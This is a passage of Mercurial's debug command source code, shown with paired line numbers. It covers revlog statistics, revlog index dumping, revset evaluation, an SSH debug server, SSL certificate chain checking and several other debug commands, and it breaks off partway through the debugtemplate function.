2622 2623 )
2623 2624 )
2624 2625 return 0
2625 2626
2626 2627 v = r.version
2627 2628 format = v & 0xFFFF
2628 2629 flags = []
2629 2630 gdelta = False
2630 2631 if v & revlog.FLAG_INLINE_DATA:
2631 2632 flags.append(b'inline')
2632 2633 if v & revlog.FLAG_GENERALDELTA:
2633 2634 gdelta = True
2634 2635 flags.append(b'generaldelta')
2635 2636 if not flags:
2636 2637 flags = [b'(none)']
2637 2638
2638 2639 ### tracks merge vs single parent
2639 2640 nummerges = 0
2640 2641
2641 2642 ### tracks ways the "delta" are build
2642 2643 # nodelta
2643 2644 numempty = 0
2644 2645 numemptytext = 0
2645 2646 numemptydelta = 0
2646 2647 # full file content
2647 2648 numfull = 0
2648 2649 # intermediate snapshot against a prior snapshot
2649 2650 numsemi = 0
2650 2651 # snapshot count per depth
2651 2652 numsnapdepth = collections.defaultdict(lambda: 0)
2652 2653 # delta against previous revision
2653 2654 numprev = 0
2654 2655 # delta against first or second parent (not prev)
2655 2656 nump1 = 0
2656 2657 nump2 = 0
2657 2658 # delta against neither prev nor parents
2658 2659 numother = 0
2659 2660 # delta against prev that are also first or second parent
2660 2661 # (details of `numprev`)
2661 2662 nump1prev = 0
2662 2663 nump2prev = 0
2663 2664
2664 2665 # data about delta chain of each revs
2665 2666 chainlengths = []
2666 2667 chainbases = []
2667 2668 chainspans = []
2668 2669
2669 2670 # data about each revision
2670 2671 datasize = [None, 0, 0]
2671 2672 fullsize = [None, 0, 0]
2672 2673 semisize = [None, 0, 0]
2673 2674 # snapshot count per depth
2674 2675 snapsizedepth = collections.defaultdict(lambda: [None, 0, 0])
2675 2676 deltasize = [None, 0, 0]
2676 2677 chunktypecounts = {}
2677 2678 chunktypesizes = {}
2678 2679
2679 2680 def addsize(size, l):
2680 2681 if l[0] is None or size < l[0]:
2681 2682 l[0] = size
2682 2683 if size > l[1]:
2683 2684 l[1] = size
2684 2685 l[2] += size
2685 2686
2686 2687 numrevs = len(r)
2687 2688 for rev in pycompat.xrange(numrevs):
2688 2689 p1, p2 = r.parentrevs(rev)
2689 2690 delta = r.deltaparent(rev)
2690 2691 if format > 0:
2691 2692 addsize(r.rawsize(rev), datasize)
2692 2693 if p2 != nullrev:
2693 2694 nummerges += 1
2694 2695 size = r.length(rev)
2695 2696 if delta == nullrev:
2696 2697 chainlengths.append(0)
2697 2698 chainbases.append(r.start(rev))
2698 2699 chainspans.append(size)
2699 2700 if size == 0:
2700 2701 numempty += 1
2701 2702 numemptytext += 1
2702 2703 else:
2703 2704 numfull += 1
2704 2705 numsnapdepth[0] += 1
2705 2706 addsize(size, fullsize)
2706 2707 addsize(size, snapsizedepth[0])
2707 2708 else:
2708 2709 chainlengths.append(chainlengths[delta] + 1)
2709 2710 baseaddr = chainbases[delta]
2710 2711 revaddr = r.start(rev)
2711 2712 chainbases.append(baseaddr)
2712 2713 chainspans.append((revaddr - baseaddr) + size)
2713 2714 if size == 0:
2714 2715 numempty += 1
2715 2716 numemptydelta += 1
2716 2717 elif r.issnapshot(rev):
2717 2718 addsize(size, semisize)
2718 2719 numsemi += 1
2719 2720 depth = r.snapshotdepth(rev)
2720 2721 numsnapdepth[depth] += 1
2721 2722 addsize(size, snapsizedepth[depth])
2722 2723 else:
2723 2724 addsize(size, deltasize)
2724 2725 if delta == rev - 1:
2725 2726 numprev += 1
2726 2727 if delta == p1:
2727 2728 nump1prev += 1
2728 2729 elif delta == p2:
2729 2730 nump2prev += 1
2730 2731 elif delta == p1:
2731 2732 nump1 += 1
2732 2733 elif delta == p2:
2733 2734 nump2 += 1
2734 2735 elif delta != nullrev:
2735 2736 numother += 1
2736 2737
2737 2738 # Obtain data on the raw chunks in the revlog.
2738 2739 if util.safehasattr(r, b'_getsegmentforrevs'):
2739 2740 segment = r._getsegmentforrevs(rev, rev)[1]
2740 2741 else:
2741 2742 segment = r._revlog._getsegmentforrevs(rev, rev)[1]
2742 2743 if segment:
2743 2744 chunktype = bytes(segment[0:1])
2744 2745 else:
2745 2746 chunktype = b'empty'
2746 2747
2747 2748 if chunktype not in chunktypecounts:
2748 2749 chunktypecounts[chunktype] = 0
2749 2750 chunktypesizes[chunktype] = 0
2750 2751
2751 2752 chunktypecounts[chunktype] += 1
2752 2753 chunktypesizes[chunktype] += size
2753 2754
2754 2755 # Adjust size min value for empty cases
2755 2756 for size in (datasize, fullsize, semisize, deltasize):
2756 2757 if size[0] is None:
2757 2758 size[0] = 0
2758 2759
2759 2760 numdeltas = numrevs - numfull - numempty - numsemi
2760 2761 numoprev = numprev - nump1prev - nump2prev
2761 2762 totalrawsize = datasize[2]
2762 2763 datasize[2] /= numrevs
2763 2764 fulltotal = fullsize[2]
2764 2765 if numfull == 0:
2765 2766 fullsize[2] = 0
2766 2767 else:
2767 2768 fullsize[2] /= numfull
2768 2769 semitotal = semisize[2]
2769 2770 snaptotal = {}
2770 2771 if numsemi > 0:
2771 2772 semisize[2] /= numsemi
2772 2773 for depth in snapsizedepth:
2773 2774 snaptotal[depth] = snapsizedepth[depth][2]
2774 2775 snapsizedepth[depth][2] /= numsnapdepth[depth]
2775 2776
2776 2777 deltatotal = deltasize[2]
2777 2778 if numdeltas > 0:
2778 2779 deltasize[2] /= numdeltas
2779 2780 totalsize = fulltotal + semitotal + deltatotal
2780 2781 avgchainlen = sum(chainlengths) / numrevs
2781 2782 maxchainlen = max(chainlengths)
2782 2783 maxchainspan = max(chainspans)
2783 2784 compratio = 1
2784 2785 if totalsize:
2785 2786 compratio = totalrawsize / totalsize
2786 2787
2787 2788 basedfmtstr = b'%%%dd\n'
2788 2789 basepcfmtstr = b'%%%dd %s(%%5.2f%%%%)\n'
2789 2790
2790 2791 def dfmtstr(max):
2791 2792 return basedfmtstr % len(str(max))
2792 2793
2793 2794 def pcfmtstr(max, padding=0):
2794 2795 return basepcfmtstr % (len(str(max)), b' ' * padding)
2795 2796
2796 2797 def pcfmt(value, total):
2797 2798 if total:
2798 2799 return (value, 100 * float(value) / total)
2799 2800 else:
2800 2801 return value, 100.0
2801 2802
2802 2803 ui.writenoi18n(b'format : %d\n' % format)
2803 2804 ui.writenoi18n(b'flags : %s\n' % b', '.join(flags))
2804 2805
2805 2806 ui.write(b'\n')
2806 2807 fmt = pcfmtstr(totalsize)
2807 2808 fmt2 = dfmtstr(totalsize)
2808 2809 ui.writenoi18n(b'revisions : ' + fmt2 % numrevs)
2809 2810 ui.writenoi18n(b' merges : ' + fmt % pcfmt(nummerges, numrevs))
2810 2811 ui.writenoi18n(
2811 2812 b' normal : ' + fmt % pcfmt(numrevs - nummerges, numrevs)
2812 2813 )
2813 2814 ui.writenoi18n(b'revisions : ' + fmt2 % numrevs)
2814 2815 ui.writenoi18n(b' empty : ' + fmt % pcfmt(numempty, numrevs))
2815 2816 ui.writenoi18n(
2816 2817 b' text : '
2817 2818 + fmt % pcfmt(numemptytext, numemptytext + numemptydelta)
2818 2819 )
2819 2820 ui.writenoi18n(
2820 2821 b' delta : '
2821 2822 + fmt % pcfmt(numemptydelta, numemptytext + numemptydelta)
2822 2823 )
2823 2824 ui.writenoi18n(
2824 2825 b' snapshot : ' + fmt % pcfmt(numfull + numsemi, numrevs)
2825 2826 )
2826 2827 for depth in sorted(numsnapdepth):
2827 2828 ui.write(
2828 2829 (b' lvl-%-3d : ' % depth)
2829 2830 + fmt % pcfmt(numsnapdepth[depth], numrevs)
2830 2831 )
2831 2832 ui.writenoi18n(b' deltas : ' + fmt % pcfmt(numdeltas, numrevs))
2832 2833 ui.writenoi18n(b'revision size : ' + fmt2 % totalsize)
2833 2834 ui.writenoi18n(
2834 2835 b' snapshot : ' + fmt % pcfmt(fulltotal + semitotal, totalsize)
2835 2836 )
2836 2837 for depth in sorted(numsnapdepth):
2837 2838 ui.write(
2838 2839 (b' lvl-%-3d : ' % depth)
2839 2840 + fmt % pcfmt(snaptotal[depth], totalsize)
2840 2841 )
2841 2842 ui.writenoi18n(b' deltas : ' + fmt % pcfmt(deltatotal, totalsize))
2842 2843
2843 2844 def fmtchunktype(chunktype):
2844 2845 if chunktype == b'empty':
2845 2846 return b' %s : ' % chunktype
2846 2847 elif chunktype in pycompat.bytestr(string.ascii_letters):
2847 2848 return b' 0x%s (%s) : ' % (hex(chunktype), chunktype)
2848 2849 else:
2849 2850 return b' 0x%s : ' % hex(chunktype)
2850 2851
2851 2852 ui.write(b'\n')
2852 2853 ui.writenoi18n(b'chunks : ' + fmt2 % numrevs)
2853 2854 for chunktype in sorted(chunktypecounts):
2854 2855 ui.write(fmtchunktype(chunktype))
2855 2856 ui.write(fmt % pcfmt(chunktypecounts[chunktype], numrevs))
2856 2857 ui.writenoi18n(b'chunks size : ' + fmt2 % totalsize)
2857 2858 for chunktype in sorted(chunktypecounts):
2858 2859 ui.write(fmtchunktype(chunktype))
2859 2860 ui.write(fmt % pcfmt(chunktypesizes[chunktype], totalsize))
2860 2861
2861 2862 ui.write(b'\n')
2862 2863 fmt = dfmtstr(max(avgchainlen, maxchainlen, maxchainspan, compratio))
2863 2864 ui.writenoi18n(b'avg chain length : ' + fmt % avgchainlen)
2864 2865 ui.writenoi18n(b'max chain length : ' + fmt % maxchainlen)
2865 2866 ui.writenoi18n(b'max chain reach : ' + fmt % maxchainspan)
2866 2867 ui.writenoi18n(b'compression ratio : ' + fmt % compratio)
2867 2868
2868 2869 if format > 0:
2869 2870 ui.write(b'\n')
2870 2871 ui.writenoi18n(
2871 2872 b'uncompressed data size (min/max/avg) : %d / %d / %d\n'
2872 2873 % tuple(datasize)
2873 2874 )
2874 2875 ui.writenoi18n(
2875 2876 b'full revision size (min/max/avg) : %d / %d / %d\n'
2876 2877 % tuple(fullsize)
2877 2878 )
2878 2879 ui.writenoi18n(
2879 2880 b'inter-snapshot size (min/max/avg) : %d / %d / %d\n'
2880 2881 % tuple(semisize)
2881 2882 )
2882 2883 for depth in sorted(snapsizedepth):
2883 2884 if depth == 0:
2884 2885 continue
2885 2886 ui.writenoi18n(
2886 2887 b' level-%-3d (min/max/avg) : %d / %d / %d\n'
2887 2888 % ((depth,) + tuple(snapsizedepth[depth]))
2888 2889 )
2889 2890 ui.writenoi18n(
2890 2891 b'delta size (min/max/avg) : %d / %d / %d\n'
2891 2892 % tuple(deltasize)
2892 2893 )
2893 2894
2894 2895 if numdeltas > 0:
2895 2896 ui.write(b'\n')
2896 2897 fmt = pcfmtstr(numdeltas)
2897 2898 fmt2 = pcfmtstr(numdeltas, 4)
2898 2899 ui.writenoi18n(
2899 2900 b'deltas against prev : ' + fmt % pcfmt(numprev, numdeltas)
2900 2901 )
2901 2902 if numprev > 0:
2902 2903 ui.writenoi18n(
2903 2904 b' where prev = p1 : ' + fmt2 % pcfmt(nump1prev, numprev)
2904 2905 )
2905 2906 ui.writenoi18n(
2906 2907 b' where prev = p2 : ' + fmt2 % pcfmt(nump2prev, numprev)
2907 2908 )
2908 2909 ui.writenoi18n(
2909 2910 b' other : ' + fmt2 % pcfmt(numoprev, numprev)
2910 2911 )
2911 2912 if gdelta:
2912 2913 ui.writenoi18n(
2913 2914 b'deltas against p1 : ' + fmt % pcfmt(nump1, numdeltas)
2914 2915 )
2915 2916 ui.writenoi18n(
2916 2917 b'deltas against p2 : ' + fmt % pcfmt(nump2, numdeltas)
2917 2918 )
2918 2919 ui.writenoi18n(
2919 2920 b'deltas against other : ' + fmt % pcfmt(numother, numdeltas)
2920 2921 )
2921 2922
2922 2923
2923 2924 @command(
2924 2925 b'debugrevlogindex',
2925 2926 cmdutil.debugrevlogopts
2926 2927 + [(b'f', b'format', 0, _(b'revlog format'), _(b'FORMAT'))],
2927 2928 _(b'[-f FORMAT] -c|-m|FILE'),
2928 2929 optionalrepo=True,
2929 2930 )
2930 2931 def debugrevlogindex(ui, repo, file_=None, **opts):
2931 2932 """dump the contents of a revlog index"""
2932 2933 opts = pycompat.byteskwargs(opts)
2933 2934 r = cmdutil.openrevlog(repo, b'debugrevlogindex', file_, opts)
2934 2935 format = opts.get(b'format', 0)
2935 2936 if format not in (0, 1):
2936 2937 raise error.Abort(_(b"unknown format %d") % format)
2937 2938
2938 2939 if ui.debugflag:
2939 2940 shortfn = hex
2940 2941 else:
2941 2942 shortfn = short
2942 2943
2943 2944 # There might not be anything in r, so have a sane default
2944 2945 idlen = 12
2945 2946 for i in r:
2946 2947 idlen = len(shortfn(r.node(i)))
2947 2948 break
2948 2949
2949 2950 if format == 0:
2950 2951 if ui.verbose:
2951 2952 ui.writenoi18n(
2952 2953 b" rev offset length linkrev %s %s p2\n"
2953 2954 % (b"nodeid".ljust(idlen), b"p1".ljust(idlen))
2954 2955 )
2955 2956 else:
2956 2957 ui.writenoi18n(
2957 2958 b" rev linkrev %s %s p2\n"
2958 2959 % (b"nodeid".ljust(idlen), b"p1".ljust(idlen))
2959 2960 )
2960 2961 elif format == 1:
2961 2962 if ui.verbose:
2962 2963 ui.writenoi18n(
2963 2964 (
2964 2965 b" rev flag offset length size link p1"
2965 2966 b" p2 %s\n"
2966 2967 )
2967 2968 % b"nodeid".rjust(idlen)
2968 2969 )
2969 2970 else:
2970 2971 ui.writenoi18n(
2971 2972 b" rev flag size link p1 p2 %s\n"
2972 2973 % b"nodeid".rjust(idlen)
2973 2974 )
2974 2975
2975 2976 for i in r:
2976 2977 node = r.node(i)
2977 2978 if format == 0:
2978 2979 try:
2979 2980 pp = r.parents(node)
2980 2981 except Exception:
2981 2982 pp = [nullid, nullid]
2982 2983 if ui.verbose:
2983 2984 ui.write(
2984 2985 b"% 6d % 9d % 7d % 7d %s %s %s\n"
2985 2986 % (
2986 2987 i,
2987 2988 r.start(i),
2988 2989 r.length(i),
2989 2990 r.linkrev(i),
2990 2991 shortfn(node),
2991 2992 shortfn(pp[0]),
2992 2993 shortfn(pp[1]),
2993 2994 )
2994 2995 )
2995 2996 else:
2996 2997 ui.write(
2997 2998 b"% 6d % 7d %s %s %s\n"
2998 2999 % (
2999 3000 i,
3000 3001 r.linkrev(i),
3001 3002 shortfn(node),
3002 3003 shortfn(pp[0]),
3003 3004 shortfn(pp[1]),
3004 3005 )
3005 3006 )
3006 3007 elif format == 1:
3007 3008 pr = r.parentrevs(i)
3008 3009 if ui.verbose:
3009 3010 ui.write(
3010 3011 b"% 6d %04x % 8d % 8d % 8d % 6d % 6d % 6d %s\n"
3011 3012 % (
3012 3013 i,
3013 3014 r.flags(i),
3014 3015 r.start(i),
3015 3016 r.length(i),
3016 3017 r.rawsize(i),
3017 3018 r.linkrev(i),
3018 3019 pr[0],
3019 3020 pr[1],
3020 3021 shortfn(node),
3021 3022 )
3022 3023 )
3023 3024 else:
3024 3025 ui.write(
3025 3026 b"% 6d %04x % 8d % 6d % 6d % 6d %s\n"
3026 3027 % (
3027 3028 i,
3028 3029 r.flags(i),
3029 3030 r.rawsize(i),
3030 3031 r.linkrev(i),
3031 3032 pr[0],
3032 3033 pr[1],
3033 3034 shortfn(node),
3034 3035 )
3035 3036 )
3036 3037
3037 3038
3038 3039 @command(
3039 3040 b'debugrevspec',
3040 3041 [
3041 3042 (
3042 3043 b'',
3043 3044 b'optimize',
3044 3045 None,
3045 3046 _(b'print parsed tree after optimizing (DEPRECATED)'),
3046 3047 ),
3047 3048 (
3048 3049 b'',
3049 3050 b'show-revs',
3050 3051 True,
3051 3052 _(b'print list of result revisions (default)'),
3052 3053 ),
3053 3054 (
3054 3055 b's',
3055 3056 b'show-set',
3056 3057 None,
3057 3058 _(b'print internal representation of result set'),
3058 3059 ),
3059 3060 (
3060 3061 b'p',
3061 3062 b'show-stage',
3062 3063 [],
3063 3064 _(b'print parsed tree at the given stage'),
3064 3065 _(b'NAME'),
3065 3066 ),
3066 3067 (b'', b'no-optimized', False, _(b'evaluate tree without optimization')),
3067 3068 (b'', b'verify-optimized', False, _(b'verify optimized result')),
3068 3069 ],
3069 3070 b'REVSPEC',
3070 3071 )
3071 3072 def debugrevspec(ui, repo, expr, **opts):
3072 3073 """parse and apply a revision specification
3073 3074
3074 3075 Use -p/--show-stage option to print the parsed tree at the given stages.
3075 3076 Use -p all to print tree at every stage.
3076 3077
3077 3078 Use --no-show-revs option with -s or -p to print only the set
3078 3079 representation or the parsed tree respectively.
3079 3080
3080 3081 Use --verify-optimized to compare the optimized result with the unoptimized
3081 3082 one. Returns 1 if the optimized result differs.
3082 3083 """
3083 3084 opts = pycompat.byteskwargs(opts)
3084 3085 aliases = ui.configitems(b'revsetalias')
3085 3086 stages = [
3086 3087 (b'parsed', lambda tree: tree),
3087 3088 (
3088 3089 b'expanded',
3089 3090 lambda tree: revsetlang.expandaliases(tree, aliases, ui.warn),
3090 3091 ),
3091 3092 (b'concatenated', revsetlang.foldconcat),
3092 3093 (b'analyzed', revsetlang.analyze),
3093 3094 (b'optimized', revsetlang.optimize),
3094 3095 ]
3095 3096 if opts[b'no_optimized']:
3096 3097 stages = stages[:-1]
3097 3098 if opts[b'verify_optimized'] and opts[b'no_optimized']:
3098 3099 raise error.Abort(
3099 3100 _(b'cannot use --verify-optimized with --no-optimized')
3100 3101 )
3101 3102 stagenames = set(n for n, f in stages)
3102 3103
3103 3104 showalways = set()
3104 3105 showchanged = set()
3105 3106 if ui.verbose and not opts[b'show_stage']:
3106 3107 # show parsed tree by --verbose (deprecated)
3107 3108 showalways.add(b'parsed')
3108 3109 showchanged.update([b'expanded', b'concatenated'])
3109 3110 if opts[b'optimize']:
3110 3111 showalways.add(b'optimized')
3111 3112 if opts[b'show_stage'] and opts[b'optimize']:
3112 3113 raise error.Abort(_(b'cannot use --optimize with --show-stage'))
3113 3114 if opts[b'show_stage'] == [b'all']:
3114 3115 showalways.update(stagenames)
3115 3116 else:
3116 3117 for n in opts[b'show_stage']:
3117 3118 if n not in stagenames:
3118 3119 raise error.Abort(_(b'invalid stage name: %s') % n)
3119 3120 showalways.update(opts[b'show_stage'])
3120 3121
3121 3122 treebystage = {}
3122 3123 printedtree = None
3123 3124 tree = revsetlang.parse(expr, lookup=revset.lookupfn(repo))
3124 3125 for n, f in stages:
3125 3126 treebystage[n] = tree = f(tree)
3126 3127 if n in showalways or (n in showchanged and tree != printedtree):
3127 3128 if opts[b'show_stage'] or n != b'parsed':
3128 3129 ui.write(b"* %s:\n" % n)
3129 3130 ui.write(revsetlang.prettyformat(tree), b"\n")
3130 3131 printedtree = tree
3131 3132
3132 3133 if opts[b'verify_optimized']:
3133 3134 arevs = revset.makematcher(treebystage[b'analyzed'])(repo)
3134 3135 brevs = revset.makematcher(treebystage[b'optimized'])(repo)
3135 3136 if opts[b'show_set'] or (opts[b'show_set'] is None and ui.verbose):
3136 3137 ui.writenoi18n(
3137 3138 b"* analyzed set:\n", stringutil.prettyrepr(arevs), b"\n"
3138 3139 )
3139 3140 ui.writenoi18n(
3140 3141 b"* optimized set:\n", stringutil.prettyrepr(brevs), b"\n"
3141 3142 )
3142 3143 arevs = list(arevs)
3143 3144 brevs = list(brevs)
3144 3145 if arevs == brevs:
3145 3146 return 0
3146 3147 ui.writenoi18n(b'--- analyzed\n', label=b'diff.file_a')
3147 3148 ui.writenoi18n(b'+++ optimized\n', label=b'diff.file_b')
3148 3149 sm = difflib.SequenceMatcher(None, arevs, brevs)
3149 3150 for tag, alo, ahi, blo, bhi in sm.get_opcodes():
3150 3151 if tag in ('delete', 'replace'):
3151 3152 for c in arevs[alo:ahi]:
3152 3153 ui.write(b'-%d\n' % c, label=b'diff.deleted')
3153 3154 if tag in ('insert', 'replace'):
3154 3155 for c in brevs[blo:bhi]:
3155 3156 ui.write(b'+%d\n' % c, label=b'diff.inserted')
3156 3157 if tag == 'equal':
3157 3158 for c in arevs[alo:ahi]:
3158 3159 ui.write(b' %d\n' % c)
3159 3160 return 1
3160 3161
3161 3162 func = revset.makematcher(tree)
3162 3163 revs = func(repo)
3163 3164 if opts[b'show_set'] or (opts[b'show_set'] is None and ui.verbose):
3164 3165 ui.writenoi18n(b"* set:\n", stringutil.prettyrepr(revs), b"\n")
3165 3166 if not opts[b'show_revs']:
3166 3167 return
3167 3168 for c in revs:
3168 3169 ui.write(b"%d\n" % c)
3169 3170
3170 3171
3171 3172 @command(
3172 3173 b'debugserve',
3173 3174 [
3174 3175 (
3175 3176 b'',
3176 3177 b'sshstdio',
3177 3178 False,
3178 3179 _(b'run an SSH server bound to process handles'),
3179 3180 ),
3180 3181 (b'', b'logiofd', b'', _(b'file descriptor to log server I/O to')),
3181 3182 (b'', b'logiofile', b'', _(b'file to log server I/O to')),
3182 3183 ],
3183 3184 b'',
3184 3185 )
3185 3186 def debugserve(ui, repo, **opts):
3186 3187 """run a server with advanced settings
3187 3188
3188 3189 This command is similar to :hg:`serve`. It exists partially as a
3189 3190 workaround to the fact that ``hg serve --stdio`` must have specific
3190 3191 arguments for security reasons.
3191 3192 """
3192 3193 opts = pycompat.byteskwargs(opts)
3193 3194
3194 3195 if not opts[b'sshstdio']:
3195 3196 raise error.Abort(_(b'only --sshstdio is currently supported'))
3196 3197
3197 3198 logfh = None
3198 3199
3199 3200 if opts[b'logiofd'] and opts[b'logiofile']:
3200 3201 raise error.Abort(_(b'cannot use both --logiofd and --logiofile'))
3201 3202
3202 3203 if opts[b'logiofd']:
3203 3204 # Line buffered because output is line based.
3204 3205 try:
3205 3206 logfh = os.fdopen(int(opts[b'logiofd']), 'ab', 1)
3206 3207 except OSError as e:
3207 3208 if e.errno != errno.ESPIPE:
3208 3209 raise
3209 3210 # can't seek a pipe, so `ab` mode fails on py3
3210 3211 logfh = os.fdopen(int(opts[b'logiofd']), 'wb', 1)
3211 3212 elif opts[b'logiofile']:
3212 3213 logfh = open(opts[b'logiofile'], b'ab', 1)
3213 3214
3214 3215 s = wireprotoserver.sshserver(ui, repo, logfh=logfh)
3215 3216 s.serve_forever()
3216 3217
3217 3218
3218 3219 @command(b'debugsetparents', [], _(b'REV1 [REV2]'))
3219 3220 def debugsetparents(ui, repo, rev1, rev2=None):
3220 3221 """manually set the parents of the current working directory
3221 3222
3222 3223 This is useful for writing repository conversion tools, but should
3223 3224 be used with care. For example, neither the working directory nor the
3224 3225 dirstate is updated, so file status may be incorrect after running this
3225 3226 command.
3226 3227
3227 3228 Returns 0 on success.
3228 3229 """
3229 3230
3230 3231 node1 = scmutil.revsingle(repo, rev1).node()
3231 3232 node2 = scmutil.revsingle(repo, rev2, b'null').node()
3232 3233
3233 3234 with repo.wlock():
3234 3235 repo.setparents(node1, node2)
3235 3236
3236 3237
3237 3238 @command(b'debugsidedata', cmdutil.debugrevlogopts, _(b'-c|-m|FILE REV'))
3238 3239 def debugsidedata(ui, repo, file_, rev=None, **opts):
3239 3240 """dump the side data for a cl/manifest/file revision
3240 3241
3241 3242 Use --verbose to dump the sidedata content."""
3242 3243 opts = pycompat.byteskwargs(opts)
3243 3244 if opts.get(b'changelog') or opts.get(b'manifest') or opts.get(b'dir'):
3244 3245 if rev is not None:
3245 3246 raise error.CommandError(b'debugdata', _(b'invalid arguments'))
3246 3247 file_, rev = None, file_
3247 3248 elif rev is None:
3248 3249 raise error.CommandError(b'debugdata', _(b'invalid arguments'))
3249 3250 r = cmdutil.openstorage(repo, b'debugdata', file_, opts)
3250 3251 r = getattr(r, '_revlog', r)
3251 3252 try:
3252 3253 sidedata = r.sidedata(r.lookup(rev))
3253 3254 except KeyError:
3254 3255 raise error.Abort(_(b'invalid revision identifier %s') % rev)
3255 3256 if sidedata:
3256 3257 sidedata = list(sidedata.items())
3257 3258 sidedata.sort()
3258 3259 ui.writenoi18n(b'%d sidedata entries\n' % len(sidedata))
3259 3260 for key, value in sidedata:
3260 3261 ui.writenoi18n(b' entry-%04o size %d\n' % (key, len(value)))
3261 3262 if ui.verbose:
3262 3263 ui.writenoi18n(b' %s\n' % stringutil.pprint(value))
3263 3264
3264 3265
3265 3266 @command(b'debugssl', [], b'[SOURCE]', optionalrepo=True)
3266 3267 def debugssl(ui, repo, source=None, **opts):
3267 3268 '''test a secure connection to a server
3268 3269
3269 3270 This builds the certificate chain for the server on Windows, installing the
3270 3271 missing intermediates and trusted root via Windows Update if necessary. It
3271 3272 does nothing on other platforms.
3272 3273
3273 3274 If SOURCE is omitted, the 'default' path will be used. If a URL is given,
3274 3275 that server is used. See :hg:`help urls` for more information.
3275 3276
3276 3277 If the update succeeds, retry the original operation. Otherwise, the cause
3277 3278 of the SSL error is likely another issue.
3278 3279 '''
3279 3280 if not pycompat.iswindows:
3280 3281 raise error.Abort(
3281 3282 _(b'certificate chain building is only possible on Windows')
3282 3283 )
3283 3284
3284 3285 if not source:
3285 3286 if not repo:
3286 3287 raise error.Abort(
3287 3288 _(
3288 3289 b"there is no Mercurial repository here, and no "
3289 3290 b"server specified"
3290 3291 )
3291 3292 )
3292 3293 source = b"default"
3293 3294
3294 3295 source, branches = hg.parseurl(ui.expandpath(source))
3295 3296 url = util.url(source)
3296 3297
3297 3298 defaultport = {b'https': 443, b'ssh': 22}
3298 3299 if url.scheme in defaultport:
3299 3300 try:
3300 3301 addr = (url.host, int(url.port or defaultport[url.scheme]))
3301 3302 except ValueError:
3302 3303 raise error.Abort(_(b"malformed port number in URL"))
3303 3304 else:
3304 3305 raise error.Abort(_(b"only https and ssh connections are supported"))
3305 3306
3306 3307 from . import win32
3307 3308
3308 3309 s = ssl.wrap_socket(
3309 3310 socket.socket(),
3310 3311 ssl_version=ssl.PROTOCOL_TLS,
3311 3312 cert_reqs=ssl.CERT_NONE,
3312 3313 ca_certs=None,
3313 3314 )
3314 3315
3315 3316 try:
3316 3317 s.connect(addr)
3317 3318 cert = s.getpeercert(True)
3318 3319
3319 3320 ui.status(_(b'checking the certificate chain for %s\n') % url.host)
3320 3321
3321 3322 complete = win32.checkcertificatechain(cert, build=False)
3322 3323
3323 3324 if not complete:
3324 3325 ui.status(_(b'certificate chain is incomplete, updating... '))
3325 3326
3326 3327 if not win32.checkcertificatechain(cert):
3327 3328 ui.status(_(b'failed.\n'))
3328 3329 else:
3329 3330 ui.status(_(b'done.\n'))
3330 3331 else:
3331 3332 ui.status(_(b'full certificate chain is available\n'))
3332 3333 finally:
3333 3334 s.close()
3334 3335
3335 3336
3336 3337 @command(
3337 3338 b'debugsub',
3338 3339 [(b'r', b'rev', b'', _(b'revision to check'), _(b'REV'))],
3339 3340 _(b'[-r REV] [REV]'),
3340 3341 )
3341 3342 def debugsub(ui, repo, rev=None):
3342 3343 ctx = scmutil.revsingle(repo, rev, None)
3343 3344 for k, v in sorted(ctx.substate.items()):
3344 3345 ui.writenoi18n(b'path %s\n' % k)
3345 3346 ui.writenoi18n(b' source %s\n' % v[0])
3346 3347 ui.writenoi18n(b' revision %s\n' % v[1])
3347 3348
3348 3349
3349 3350 @command(
3350 3351 b'debugsuccessorssets',
3351 3352 [(b'', b'closest', False, _(b'return closest successors sets only'))],
3352 3353 _(b'[REV]'),
3353 3354 )
3354 3355 def debugsuccessorssets(ui, repo, *revs, **opts):
3355 3356 """show set of successors for revision
3356 3357
3357 3358 A successors set of changeset A is a consistent group of revisions that
3358 3359 succeed A. It contains non-obsolete changesets only unless closests
3359 3360 successors set is set.
3360 3361
3361 3362 In most cases a changeset A has a single successors set containing a single
3362 3363 successor (changeset A replaced by A').
3363 3364
3364 3365 A changeset that is made obsolete with no successors are called "pruned".
3365 3366 Such changesets have no successors sets at all.
3366 3367
3367 3368 A changeset that has been "split" will have a successors set containing
3368 3369 more than one successor.
3369 3370
3370 3371 A changeset that has been rewritten in multiple different ways is called
3371 3372 "divergent". Such changesets have multiple successor sets (each of which
3372 3373 may also be split, i.e. have multiple successors).
3373 3374
3374 3375 Results are displayed as follows::
3375 3376
3376 3377 <rev1>
3377 3378 <successors-1A>
3378 3379 <rev2>
3379 3380 <successors-2A>
3380 3381 <successors-2B1> <successors-2B2> <successors-2B3>
3381 3382
3382 3383 Here rev2 has two possible (i.e. divergent) successors sets. The first
3383 3384 holds one element, whereas the second holds three (i.e. the changeset has
3384 3385 been split).
3385 3386 """
3386 3387 # passed to successorssets caching computation from one call to another
3387 3388 cache = {}
3388 3389 ctx2str = bytes
3389 3390 node2str = short
3390 3391 for rev in scmutil.revrange(repo, revs):
3391 3392 ctx = repo[rev]
3392 3393 ui.write(b'%s\n' % ctx2str(ctx))
3393 3394 for succsset in obsutil.successorssets(
3394 3395 repo, ctx.node(), closest=opts['closest'], cache=cache
3395 3396 ):
3396 3397 if succsset:
3397 3398 ui.write(b' ')
3398 3399 ui.write(node2str(succsset[0]))
3399 3400 for node in succsset[1:]:
3400 3401 ui.write(b' ')
3401 3402 ui.write(node2str(node))
3402 3403 ui.write(b'\n')
3403 3404
3404 3405
3405 3406 @command(
3406 3407 b'debugtemplate',
3407 3408 [
3408 3409 (b'r', b'rev', [], _(b'apply template on changesets'), _(b'REV')),
3409 3410 (b'D', b'define', [], _(b'define template keyword'), _(b'KEY=VALUE')),
3410 3411 ],
3411 3412 _(b'[-r REV]... [-D KEY=VALUE]... TEMPLATE'),
3412 3413 optionalrepo=True,
3413 3414 )
3414 3415 def debugtemplate(ui, repo, tmpl, **opts):
3415 3416 """parse and apply a template
3416 3417
3417 3418 If -r/--rev is given, the template is processed as a log template and
3418 3419 applied to the given changesets. Otherwise, it is processed as a generic
3419 3420 template.
3420 3421
3421 3422 Use --verbose to print the parsed tree.
3422 3423 """
3423 3424 revs = None
3424 3425 if opts['rev']:
3425 3426 if repo is None:
3426 3427 raise error.RepoError(
3427 3428 _(b'there is no Mercurial repository here (.hg not found)')
3428 3429 )
3429 3430 revs = scmutil.revrange(repo, opts['rev'])
3430 3431
3431 3432 props = {}
3432 3433 for d in opts['define']:
3433 3434 try:
3434 3435 k, v = (e.strip() for e in d.split(b'=', 1))
3435 3436 if not k or k == b'ui':
3436 3437 raise ValueError
3437 3438 props[k] = v
